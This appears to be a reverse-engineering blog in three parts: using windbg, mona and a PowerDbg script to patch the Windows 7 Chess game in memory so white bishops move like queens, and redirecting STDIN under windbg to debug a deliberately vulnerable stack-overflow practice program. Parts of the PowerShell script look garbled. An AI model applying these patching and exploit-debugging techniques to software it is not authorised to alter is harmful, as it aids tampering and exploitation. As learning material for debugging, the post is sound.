If you know windbg basics and python, this should be really familiar – I have a tiny bit of python to grab the IP, and then inside the handlers I’m pretty much just running windbg commands sequentially. I ran this in the debugger itself. Here’s a side tip. You can run put commands in a textfile for them to run in windbg (similar to gdb’s -x arg). So you can do this to load this pykd script automatically.

> type windbg.txt
.load pykd.pyd
!py local_listen.py
> windbg -c "$$><windbg.txt" server1.exe


Another options would be to run this directly from the command line, which is also doable. Just use the pykd “attachProcess” or “startProcess” functions and go from there.

Using windbg to beat my dad at chess

My dad is awesome. He always beats me at chess. With a huge nod to this uninformed post – introduction to reverse engineering win32 applications where they debug minesweeper, I decided to dive into the windows 7 chess game and see if I could give myself a bit of an advantage. I wasn’t sure exactly what I wanted to do other than that. I’ll be using Windows 7 32 bit, and the file is at C:\Program Files\Microsoft Games\Chess\. This tutorial will probably not work with anything but Windows 32 bit. This is a beginner tutorial.

Recon and Defining what we want to do

Following the uninformed post, I wondered if chess might contain symbols also, as this would make my life easier. I have this set in my config, but if you don’t then you will want to set your symbol path.

0:000> .sympath srv*c:\debug*http://msdl.microsoft.com/download/symbols
Symbol search path is: srv*c:\debug*http://msdl.microsoft.com/download/symbols
Expanded Symbol search path is: srv*c:\debug*http://msdl.microsoft.com/download/symbols
0:000> .reload /f *
0:000> lm
start    end        module name
001b0000 00474000   Chess      (pdb symbols)          c:\debug\Chess.pdb\1467728C9EEA429C9FA465213785E17C1\Chess.pdb
6e030000 6e06c000   OLEACC     (pdb symbols)          c:\debug\oleacc.pdb\DC8A57A3E8C648228F2C3650F2BE1D672\oleacc.pdb
6f900000 6f972000   DSOUND     (pdb symbols)          c:\debug\dsound.pdb\F38F478065E247C68EDA699606F56EED2\dsound.pdb

Awesome, we have a chess.pdb. In the uninformed post they use windbg to look at functions, but I find IDA Pro easier to read. Loading chess.exe into IDA we see quite a few functions right off the bat that look interesting. It looks like there’s a Pawn class, a knight class, a bishop class, etc

Pawn::GetCaptureMoves(int const * *)   .text 0102D605 00000017 R . . . B . .
Pawn::GetShadowRadius(void)            .text 0102D621 00000007 R . . . . . .
Knight::Knight(ESide)                  .text 0102D62D 0000001D R . . . B . .
Knight::Clone(void)                    .text 0102D64F 0000002B R . . . . . .
Knight::GetPassiveMoves(int const * *) .text 0102D67F 00000017 R . . . B . .
Knight::CanJump(void)                  .text 0102D69B 00000003 R . . . . . .
Knight::GetPieceType(void)             .text 0102D6A3 00000004 R . . . . . .
Knight::GetShadowRadius(void)          .text 0102D6AC 00000007 R . . . . . .
Bishop::Bishop(ESide)                  .text 0102D6B8 0000001D R . . . B . .
Bishop::Clone(void)                    .text 0102D6DA 0000002B R . . . . . .
Bishop::GetPassiveMoves(int const * *) .text 0102D70A 00000017 R . . . B . .
Bishop::GetPieceType(void)             .text 0102D726 00000004 R . . . . . .
Rook::Rook(ESide)                      .text 0102D72F 0000001D R . . . B . .
Rook::Clone(void)                      .text 0102D751 0000002B R . . . . . .

So there seem to be two outliers, knights and pawns. Knights have extra moves like canjump, and pawns can move certain places depending on other pieces, so this makes sense. Also, this gives us a big clue that these classes contain some of the logic we can use to determine which piece can move where.

So how should I beat my dad? He’s not a grandmaster, so maybe if I made bishops move like queens for me that would do the trick. There is also a board class, so another idea I had was to replace the bishops with queens when the board was setup, but that’s not the route I went.

There’s this function getpassivemove common to all the classes

0:010> x chess!*getpassivemove*
009bd781 Chess!Rook::GetPassiveMoves = <no type information>
009bd7f8 Chess!Queen::GetPassiveMoves = <no type information>
009bd67f Chess!Knight::GetPassiveMoves = <no type information>
009bd5d6 Chess!Pawn::GetPassiveMoves = <no type information>
009bd87b Chess!King::GetPassiveMoves = <no type information>
009bd70a Chess!Bishop::GetPassiveMoves = <no type information>

Setting a bp here it’s tough to tell what’s going on because it’s hit so frequently, but the functions are really simple, and for the most part they look VERY similar between pawn/rook/knight/king/etc classes

So let’s just replace the first instruction to jump to the other function. I had mona loaded into windbg here, but you can also do this with the metasploit asm shell or nasm.

What this does is modify the Chess!Bishop::GetPassiveMoves function and has it immediately jump to Chess!Queen::GetPassiveMoves. (The addresses on your box will certainly be different)

0:010> !py mona asm -s "mov eax, 0x0076d7f8#jmp eax"
Hold on...
Opcode results : 
 mov eax, 0x0076d7f8 = \xb8\xf8\xd7\x76\x00
 jmp eax = \xff\xe0
 Full opcode : \xb8\xf8\xd7\x76\x00\xff\xe0 

[+] This mona.py action took 0:00:02.172000

0:010> eb 0076d5d6 b8 f8 d7 76 00 ff e0
0:010> uf Chess!bishop::GetPassiveMoves
Flow analysis was incomplete, some code may be missing
0076d5d6 b8f8d77600      mov     eax,offset Chess!Queen::GetCaptureMoves (0076d7f8)
0076d5db ffe0            jmp     eax
0:010> g

Sure enough, this works. When we run we can move anywhere with our bishops



At this point, even though we can move anywhere, we still have two problems we need to solve. 1) both black and white can move anywhere, so this doesn’t give me an advantage. What I really want is just white to be able to move anywhere 2) We can’t just write to this address because of ASLR and also because it’s a read only section of memory.

What does it mean for us that ASLR is enabled? Any static addresses will likely change from run to run of the chess game. Looking for non-aslred modules, there are none. By the way, I’m using mona here.

0:000> !py mona noaslr
Hold on...
No aslr & no rebase modules :
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
 Module info :
 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path

So for us, we can’t really rely on any hard coded addresses.

Additionally, even if we solved ASLR, our hard jump strategy will also fail because both white and black call the GetPassiveMoves function. We need a way to only modify that function for white.

Figuring out Whose Turn it is

Getting turn info took a bit of shooting in the dark also, but because of symbols it was relatively easy to track down.

First I put a breakpoint here:

bp Chess!GameState::GetTurn +3 "r eax; g"

This is called a lot, and it seems to return 2 or 0 for white, and 0, 1, or 2 for black. This function will probably work, but there’s another turn function too named toggleturn, so lets try that. This function seems perfect – it’s called once after every move. We can see it’s testing the value in [ecx+4] so we inspect that, and sure enough it’s 1 before a white move and 0 before a black move

bp Chess!GameState::toggleturn
dd ecx + 4

Programatically Changing the Game

I’m going to programattically debug the process. The way the uninformed post did things was cool, but it’s (more) difficult to go route way because we’re not messing with data, we’re messing with the program which is non writable. So how do we programatically debug?

There are a ton of ways. Mona uses this and it looks awesome: http://pykd.codeplex.com/. I’m a python guy, so usually I’d go that route, but I’m trying to learn powershell so I decided to try going that route and use this http://powerdbg.codeplex.com/. For the powershell to work you need to install this module.

The first thing I want to do is change the hard coded value to something I can switch back and forth. So I tried setting a breakpoint that I could disable per turn

bp Chess!Bishop::GetPassiveMoves "r eip=Chess!Queen::GetPassiveMoves;g"

This was waaaay too slow for the game to be playable. I had to figure out something else. This is when I noticed just how similar the getpassivemoves functions are

0:012> uf Chess!Bishop::GetPassiveMoves
00c5d70a 8bff            mov     edi,edi
00c5d70c 55              push    ebp
00c5d70d 8bec            mov     ebp,esp
00c5d70f 8b4508          mov     eax,dword ptr [ebp+8]
00c5d712 c700f07ec300    mov     dword ptr [eax],offset Chess!Bishop::sPassiveMoves (00c37ef0)
00c5d718 a1e87ec300      mov     eax,dword ptr [Chess!Bishop::sPassiveMovesCount (00c37ee8)]
00c5d71d 5d              pop     ebp
00c5d71e c20400          ret     4
0:012> uf Chess!queen::GetPassiveMoves
00c5d7f8 8bff            mov     edi,edi
00c5d7fa 55              push    ebp
00c5d7fb 8bec            mov     ebp,esp
00c5d7fd 8b4508          mov     eax,dword ptr [ebp+8]
00c5d800 c700b880c300    mov     dword ptr [eax],offset Chess!Queen::sPassiveMoves (00c380b8)
00c5d806 a1b080c300      mov     eax,dword ptr [Chess!Queen::sPassiveMovesCount (00c380b0)]
00c5d80b 5d              pop     ebp
00c5d80c c20400          ret     4

They’re very close, and they’re the exact same number of bytes. We can just edit things on the fly, replacing the queen’s code with the bishop’s code and back again.

Import-Module PowerDbg

#global vars, populated later
$bishop_code = ""
$queen_code = ""

function bishop_to_queen
    $command =  "eb Chess!Bishop::GetPassiveMoves+a " + $queen_code
    Invoke-DbgCommand $command

function bishop_restore
    $command = "eb Chess!Bishop::GetPassiveMoves+a " + $bishop_code
    Invoke-DbgCommand $command

New-DbgSession -command 'C:\Program Files\Microsoft Games\Chess\Chess.exe'
Load-PowerDbgSymbols "srv*c:\debug*http://msdl.microsoft.com/download/symbols"

#get the bytes for the different bishop and queen functions
$bishop_array = (Invoke-DbgCommand "db Chess!Bishop::GetPassiveMoves+a L7").Split(" ")[2..8]
$bishop_code = [string]::join(" ", $bishop_array)

$queen_array = (Invoke-DbgCommand "db Chess!queen::GetPassiveMoves+a L7").Split(" ")[2..8]
$queen_code = [string]::join(" ", $queen_array)


$white_turn = $true
Invoke-DbgCommand "bp Chess!GameState::ToggleTurn"

#this loops once per turn
    if ($white_turn -eq $true)
        $white_turn = $false
        $white_turn = $true

    $ret_error = Invoke-DbgCommand "g"

    if ($ret_error.Contains("No runnable debugees"))


And there we go, a runnable chess game where white bishops are super powerful. There are a few quirks, like if a bishop gets a king into checkmate with a queen move it doesn’t seem to register and you can kill the king and keep playing, but overall pretty good :)


I am still a noob at reversing, but this was still a fun afternoon :)

Redirecting STDIN on windbg

I learned how to use gdb on Linux before I knew anything about debugging on Windows. In those days, some of the first memory manipulation problems I tried were these one: http://community.corest.com/~gera/InsecureProgramming/. An example is stack2:

int main() {
	int cookie;
	char buf[80];

	printf("buf: %08x cookie: %08x\n", &buf, &cookie);

	if (cookie == 0x01020305)
		printf("you win!\n");

This is a very easy problem, but imagine it’s difficult enough that it’s hard to figure out in your head and imagine how you might solve it (or see what’s going on) using a debugger. With Linux this solution might looks something like:

gdb stack2
(gdb) run < payloadfile

Where payloadfile might be programmatically generated and have a bunch of special characters with shellcode and whatnot.

Programs that process STDIN are a lot rarer in the Windows world, but they certainly exist. Debugging this under Windows is also a slightly more difficult problem. With some common debuggers like Ollydbg or cygwin’s gdb I’m not sure redirecting STDIN from a file is possible. Last year I asked on openrce and didn’t get a response: http://www.openrce.org/forums/posts/1859.

Solution 1: Following Children

What I ended up doing in my ‘real’ problem is attaching the debugger to cmd.exe and following the child process (this is not the default). This solution is nice, in that it also should work with stdout type things you’d want to do with windbg.

0:001> .childdbg
Processes created by the current process will not be debugged
0:001> .childdbg 1
Processes created by the current process will be debugged

Now the process will break when cmd spawns the child. So in cmd you can simply.

stack2.exe < payloadfile

After the breakpoint, you can do an lm to see our image is loaded and run as normal. A more concise one liner to doing this would be (note: there’s a kb article, but they leave out the /o option which tells the debugger to follow children… so is kinda important).

windbg /o cmd.exe /c "stack2.exe < payloadfile"

This is one of many reasons being able to attach to children processes is a must for me in using a debugger. Too bad a lot of good debuggers (e.g. ollydbg1, cygwin gdb, immunitydbg) don’t support following child processes. A solution I’ve seen more than once is to actually patch the executable and put it to sleep, just so you can attach to the process (e.g. https://www.corelan.be/index.php/2012/02/29/debugging-fun-putting-a-process-to-sleep/). If it works, great, but it seems like a kludge – and when you start debugging complicated server applications this approach doesn’t seem practical.

Solution 2: Crash Dump

In linux, analyzing the crash might give enough information to debug an exploit without having to attach to a debugger at the start. This isn’t the same as redirecting STDIN, but at the same time, it might have most of the information you need.

$ ulimit -c unlimited
$ ./stack2 < payloadfile
$ gdb ./stack2 core

Doing something similar in Windows, you can set windbg (or a lot of other things including olly, gdb) as the default SEH debugger. In windbg you can do this by just using the -I arg.

> windbg -I

This is great for most realistic scenarios, but depending on how the program was compiled it may not always work. For example, cygwin generates a stacktrace and there isn’t a normal crash (keep this in mind when fuzzing cygwin compiled things – you might not be detecting crashes correctly). How to debug these on a crash varies, but in cygwin’s case you can attach gdb on the error by setting the CYGWIN configuration error_start parameter like this: export CYGWIN=”$CYGWIN error_start=gdb -nw %1 %2″